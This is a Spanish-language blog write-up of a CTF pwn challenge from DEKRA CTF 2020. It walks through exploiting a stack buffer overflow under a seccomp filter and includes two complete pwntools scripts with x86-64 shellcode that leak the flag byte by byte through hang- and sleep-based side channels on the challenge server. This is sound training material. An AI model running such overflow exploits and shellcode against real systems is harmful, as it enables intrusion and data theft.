Power belongs to the people who take it

(Español) PWN Write-Up: Weird Chall – DEKRA CTF 2020

Sorry, this entry is only available in European Spanish. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

En este post daremos una posible solución al reto Weird Chall planteado en el DEKRA CTF 2020. Es un reto de PWN en el que nos encontramos un buffer overflow, la dificultad de este reto se encuentra en que se utiliza seccomp que nos limita el uso de muchas syscalls.

En el enunciado del reto se nos proporciona los datos de conexión con el servicio remoto y el binario para poder analizarlo en local.



Primero intentaremos conectarnos con el servicio para saber el aspecto que va a tener el reto. Nos indica que es un “bof” sencillo y la dirección de memoria de la flag, después se queda esperando la entrada de teclado del usuario y al introducir algo finaliza el programa y la conexión.



Abrimos el binario con Ghidra para leer el decompilado y descubrir el funcionamiento del binario.



El main parece bastante sencillo. Carga la flag de un archivo de texto llamado flag.txt, comprobando que exista ese archivo, carga el contenido en una variable y posteriormente lo cierra. Después encontramos una serie de llamadas a funciones seccomp que por el momento desconocemos qué hacen. Finalmente lee mediante scanf (sin ninguna limitación de tamaño) la entrada de teclado y la guarda en un buffer definido a 36 bytes, aquí es donde tenemos un posible desbordamiento.

El binario no tiene protecciones por lo que la explotación de un buffer overflow de este tipo sería sencilla. Desbordamos el buffer hasta la dirección de retorno y saltamos hasta un shellcode en el que se ejecute, por ejemplo, execve(“/bin/sh”). Sin embargo, en este caso no podremos usar shellcodes que nos permitan ejecutar comandos tan fácilmente.

También encontramos una función con el nombre de jumper que no es llamada desde el main. Esta función realiza un salto a RSP por lo que sobreescribir la dirección de retorno con la dirección de memoria de esta función nos facilita el salto a nuestro shellcode.



Las funciones de Seccomp que habíamos visto en el pseudo-c de Ghidra actúan como filtro, a modo de whitelist, con las syscalls que se pueden ejecutar; por lo que nuestro shellcode está limitado. Para conocer qué syscalls están permitidas utilizaremos la herramienta seccomp-tools.



Vemos que estamos muy limitados y de ninguna manera podremos conseguir una shell o mostrar la flag por pantalla. Es posible que tengamos que interactuar con la dirección de memoria donde se encuentra almacenada la flag.

Por ahora continuamos con la explotación normal buscando el relleno hasta la dirección de retorno. Para esto debugearemos con gdb y tras introducir un patrón de unos, por ejemplo 100 bytes, el programa termina con segmentation fault (SIGSEGV) y mirando el valor del registro RSP podremos ver el tamaño del relleno que debemos introducir.





Como vemos se sobrescribe RSP con parte de nuestro patrón y se localiza que el offset es 72. Tendremos que introducir en el buffer 72 bytes, añadirle la dirección de la función jumper y después el shellcode.
Para una primera prueba mi shellcode serán unas letras y así comprobaremos que funciona. Desarrollaremos un pequeño script de python con pwntools.





Continuamos la ejecución del programa en gdb hasta ver que llega a jumper.



De esta función salta a nuestro “shellcode” que en este caso son unas letras. Como vemos salta a algunas de las “A” anteriores a nuestro shellcode por lo que en adelante modificaré las “A” por nops (x\90).


Así que el objetivo es claro, debemos escribir un shellcode (con las limitaciones de seccomp) que nos permita leer la flag. El binario nos hace el favor de decirnos en qué dirección de memoria se encuentra la flag.

flag_addr = int(p.recvline().decode().split("@ ")[1].split(".")[0], base=16)

De todas formas, tal y como se ve en la captura anterior, la dirección de la flag está almacenada en el registro R13.
La forma que se me ocurrió para sacar la flag fue ir ejecutando el programa comparando cada uno de los caracteres de la flag con todos los caracteres “printables” y detectar cuándo se acierta. ¿Una especie de SQLi blind no?

La solución que implementé yo para obtener la flag puede que no sea la más limpia ni adecuada pero también hay que decir que mi conocimiento de desarrollo en ensamblador es limitado y lo importante en un ctf es sacar la flag.

El primer paso es conseguir obtener la comparación de los caracteres individualmente, para ello se copia la dirección de memoria de la flag a un registro y se compara con un carácter. Utilizamos BL (registro de un byte de RBX).

mov ebx, byte [r13 -0x1]
cmp bl, 'D'

Se opera con la dirección de memoria en R13 para acceder a los distintos caracteres, -0x1 para acceder al primero y sumando para desplazarnos a los siguientes.
Ahora falta saber qué hacer si la comparación se satisface. Para esto la solución que encontré fue crear una sección auxiliar que no hiciera nada de utilidad para que, en caso de que la letra coincida el programa entrara en un bucle infinito.

test:
    mov r12, 'X'
start:
    mov ebx, byte [r13 -0x1]
    cmp bl, 'D'
    je test 

Al entrar en un bucle infinito, desde nuestro script de python podemos detectar que la conexión no se ha cerrado y verificar que la letra coincide. Con este objetivo, desarrollé un script que se ejecutara en bucle aumentando posiciones e iterará sobre todos los posibles caracteres detectando las coincidencias.
La manera de aumentar la posición del carácter que se comprueba decidí que fuera obtener la dirección de la flag y sumarle las posiciones necesarias, esto me pareció más cómodo que modificar el operador del código ensamblador.

from pwn import *

context.arch = 'amd64'
e = ELF("challenge")

def get_flag_addr(p):
    flag_addr = int(p.recvline().decode().split("@ ")[1].split(".")[0], base=16)
    return flag_addr

def check_letter(p, flag_addr, letter):
    buf = b'\x90' * 72
    buf += p64(e.sym["jumper"]) 
    try:
        buf += asm("""
        test:
            mov r12, 'D'
        start:
            mov r13, {}
            mov ebx, byte [r13 -0x1]
            cmp bl, '{}'
            je test 
    """.format(hex(flag_addr), letter))
        p.sendline(buf)
        try:
            p.recv(timeout=6)
            return letter
        except:
            return None
    except:
        return None

    
flag = ''
abc = string.ascii_letters + string.digits + string.punctuation
abc = abc.replace("'", "")
abc = abc.replace("\\", "")
pos = 0

while True:
    result = None
    for letter in abc:
        # p = e.process(level="error")
        p = remote('168.119.247.237', 5013, level="error")
        flag_addr = get_flag_addr(p)
        flag_addr += pos
        result = check_letter(p, flag_addr, letter)
        if result:
            flag += result
            log.info("New letter detected: {}".format(result))
            log.info("Current flag: {}".format(flag))
            pos += 1
            break
    if not result:
        log.success("FLAG: {}".format(flag))
        break

El resultado de la ejecución de el script es:



Como he comentado, la solución no es la más limpia y posiblemente tampoco la más efectiva. @manulqwerty que es algo más diestro en esta categoría obtuvo la flag desarrollando un shellcode más elaborado en el que se hace uso de la syscall permitida nanosleep, que duerme el programa durante el tiempo indicado y permite detectar la coincidencia.
El concepto es el mismo, acceder al contenido de la dirección de memoria y comparar carácter a carácter. En este caso, si el carácter no coincide se utiliza la syscall exit (60) para acabar la ejecución del programa, mientras que si el carácter es correcto duerme durante 3 segundos con la syscall nanosleep (35).

#!/usr/bin/env python3
from pwn import *
import string
import sys
import time

context.arch = "amd64"
e = ELF("challenge", checksec=False)

flag = ""
count = -1
alphabet = string.ascii_letters + string.digits + string.punctuation
while True:
    temp = count
    for letter in alphabet:
        # io = e.process(level="error")
        io = remote("168.119.247.237",  5013, level="error")
        io.recvline()
        if temp >= 8:
            flag_addr += 8 * int(temp/8)
            count = temp % 8

        shellcode = asm("""
                mov rax, 1
            _end:
                cmp al,1
                je _exploit
                mov rax, 60
                mov rdi,1
                syscall

            _exploit:
                mov r13, {}
                mov ebx, byte [r13+{}]
                mov rax, 0
                cmp bl, {}
                jne _end
                push 0
                push 3
                mov rdi,rsp
                mov rax, 35
                mov rsi, 0
                syscall
                jmp _end
        """.format(hex(flag_addr), hex(count), hex(ord(letter))))


        payload = flat(
            "A"*64,
            asm(shellcraft.nop())*8,
            e.sym["jumper"],
            shellcode,
            endianness="little", word_size=64, sign=False
        )

        s_time = time.time()
        io.sendline(payload)
        io.recvall()
        io.close()
        if time.time() - s_time > 2:
            log.info("Letter {} found: {}".format(temp+1, letter))
            count = temp + 1
            flag += letter
            break
        if letter == alphabet[-1]:
            log.info("Flag {}".format(flag))
            sys.exit()


Finalmente, decir que ninguno de los dos somos expertos en los retos de esta categoría por lo que igual hemos cometido algún error o las soluciones no son del todo adecuadas. No dudes utilizar los comentarios si tienes alguna correción o mejora.

¿Me ayudas a compatirlo?

1 Comment

  1. Sahan

    Ami hake sikte cai

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑